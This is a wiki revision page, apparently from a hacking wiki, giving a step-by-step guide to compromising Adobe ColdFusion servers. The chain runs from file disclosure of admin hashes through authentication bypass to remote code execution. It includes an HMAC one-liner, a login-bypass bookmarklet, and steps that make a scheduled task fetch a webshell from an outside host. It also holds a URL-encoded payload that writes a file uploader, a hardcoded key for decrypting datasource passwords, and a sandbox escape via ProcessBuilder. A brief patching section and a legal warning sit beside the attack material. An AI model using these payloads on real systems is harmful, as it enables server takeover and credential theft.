Difference between revisions of "Coldfusion hacking"
m (moved CFM to Cold Fusion Hacking) |
|||
| Line 67: | Line 67: | ||
* Check the option to save the output to a file. | * Check the option to save the output to a file. | ||
* Paste the path you acquired from the Mappings into the 'File' field, | * Paste the path you acquired from the Mappings into the 'File' field, | ||
| − | * | + | * Type the name you want to save the shell as and the extension (cfm). |
* Press '''OK''' and click the green check to run the task. | * Press '''OK''' and click the green check to run the task. | ||
Revision as of 00:01, 22 February 2012
|
This page includes a Zero-Day attack. |
Contents
Injection
|
|
These techniques are very effective. Using them against any system without authorization is a criminal act. |
|
ColdFusion script attacks are primarily platform-specific. The following examples outline vectors for attack. |
Adobe ColdFusion
Technique: LFD to ColdFusion Administrator bypass to remote command execution (complete comprimise):
Remote File Disclosure of Password Hashes
The most critical ColdFusion vulnerability affects about a tenth of all ColdFusion servers at the present. It chains together multiple exploits, and it provides a 30 second window into the Administrator panel. The ColdFusion Administrator panel can then be used to write out a shell.
You will need: Tamper Data (Firefox extension)
To begin, the site in question must have an ColdFusion Administrator available. By default, it's mapped to CFIDE/administrator/enter.cfm. If it returns 500 Forbidden, switch to HTTPS. Alternatively, use the IP and not the hostname. Once at the ColdFusion administrator, verify it is either version 7 or 8. Then, supply the following injections [1]:
If the LFD succeeds, the ColdFusion Administrator hash will be included on the page.
Issues
- The page does not display properly (broken images)/I can't figure out what version it is
Try supplying the injections anyway. If the LFD succeeds but the images are broken, you will need to manually HMAC the administrator hash against the salt to bypass authentication. In an effort to simplify this, I've supplied a one-liner command you can run to perform this:
python -c 'import hashlib,hmac; hash=raw_input("Hash > "); salt=raw_input("Salt > "); print "HMAC",hmac.new(salt,hash,hashlib.sha1).hexdigest().upper()
The hash is provided via the LFD, and the salt is updated every 30 seconds in the source (ctrl+F salt, second one).
- None of the injections worked
There are a couple possible reasons behind this one. One, the files may not actually be there! Try including \boot.ini or /etc/hosts to find out if this is the case. If they include successfully, you may need to blindly locate the password.properties file (or another file of value). Two, the server may have l10n already patched. You'll need to find another vulnerability.
Logging In
Now that the hash has been included, you may have been misled by other guides that you need to reverse it/hope its plaintext. This is NOT the case. Due to a second security advisory, you can bypass the authentication using the hash alone. Simpily paste the hash into the admin password form and run this via your address bar:
javascript:alert(hex_hmac_sha1(document.loginform.salt.value,document.loginform.cfadminPassword.value))
|
|
It's a good idea to bookmark this to cut down on time. NoScript users: make sure you are allowing scripts to run while performing this. |
- You will get an alert with the HMACed hash. Copy this value.
- Go to Tools -> Tamper Data and Start Tampering.
- Submit the login form, and paste the hash in the cfadminPassword field.
- Press OK.
If you were fast enough, you should be in the ColdFusion Administrator.
Writing Shell to File
- Go to the Settings Summary tab on the left and find the 'Mappings' section.
- One of the default mappings is /CFIDE. This is where you will be writing to.
- Copy the path next to it.
- Enter the Debugging and Logging tab on the left panel and click 'Scheduled Tasks'
- Click 'Schedule New Task'.
- Set the task name to whatever you like
- Change the URL to the URL of a plaintext CFM shell (http://example.site.tld/shells/cfm.txt)
- Check the option to save the output to a file.
- Paste the path you acquired from the Mappings into the 'File' field,
- Type the name you want to save the shell as and the extension (cfm).
- Press OK and click the green check to run the task.
If everything went as expected, your shell should now be on the server at /CFIDE/shellname.cfm.
- Delete the task.
Issues
- It failed to get my shell
Either /CFIDE is not writable (rare) or an outgoing firewall prevents you from retrieving a shell. It is possible to subvert the outgoing firewall by exploiting a localhost XSS in probe.cfm (supply it in the URL field of the scheduled task):
/CFIDE/probe.cfm?name=%3Cb%3E%26%23181%3BSH%3C%2Fb%3E%22%3C%2Fh1%3E%3Ccfif%20isDefined(%22Form.File%22)%3E%3Ccftry%3E%3Ccffile%20action%3D%22upload%22%20destination%3D%22%23Expandpath(%22.%22)%23%22%20filefield%3D%22Form.File%22%20nameconflict%3D%22overwrite%22%3EFile%20uploaded!%3Ccfcatch%3EUpload%20failed%3C%2Fcfcatch%3E%3C%2Fcftry%3E%3C%2Fcfif%3E%3Cform%20method%3DPOST%20enctype%3D%22multipart%2Fform-data%22%3E%3Cinput%20type%3Dfile%20name%3D%22File%22%3E%3Cinput%20type%3Dsubmit%20value%3D%22Upload%22%3E%3C%2Fform%3E%3Cscript%3E
A very small uploader will be written that uploads to the current path.
Railo
Railo is commonly misconfigured to run as root. It also is the target of path disclosure. To accomplish this, go to a .cfm script that doesnt exist on the site, or error a .cfm script. Railo will give a verbose debug output disclosing potentially important information.
Privilege Escalation
Three techniques can be employed to escalate privileges:
1. ColdFusion 9 (latest) is still vulnerable to the same admin bypass. If you have the hash, the CF 7/8 technique can be applied.
2. Encrypted, base64ed ColdFusion hashes in 7+ can be reversed [2]. They can be found in the source of the datasource pages in the Administrator and in xml files in lib/. To decrypt them, run this in a ColdFusion environment:
|
<syntaxhighlight lang="java"> <cfscript> o=createobject("java","coldfusion.server.ServiceFactory").getDatasourceService().getDatasources(); for(i in o) { if(len(o[i]["password"])){ dp=Decrypt(o[i]["password"], generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede", "Base64") ; writeoutput("#htmleditformat(i)# : #htmleditformat(dp)##chr(10)#"); } } </cfscript> </syntaxhighlight> |
3. Sandbox security for cfexecute can be bypassed. Use createObject("java","java.lang.ProcessBuilder").init(cmd).start() within cfscript tags (Zero-Day attack 2).
Patching
Patching a ColdFusion instance from the LFD->Bypass->RCE exploit can only be done on ColdFusion 8. No other versions can be patched. That being said, the official Adobe patch can be downloaded here:
http://kb2.adobe.com/cps/857/cpsid_85766.html
Extract the .zip file and replace the two affected files (l10n.cfm & l10n_testing.cfm). Restart the ColdFusion Application Server service to apply the patch. Alternatively, run the following code in a ColdFusion environment:
|
<syntaxhighlight lang="java"> <cfscript> oJRun = CreateObject("java","jrunx.kernel.JRun"); oJRun.restart(oJRun.getServerName()); </cfscript> </syntaxhighlight> |
Resources
- http://www.securiteam.com/tools/5ZP0B00FPG.html - Barebones Cfm Shell (Detected by anti-virus.)
|
CFM Visit the Web Exploitation Portal for complete coverage.
|
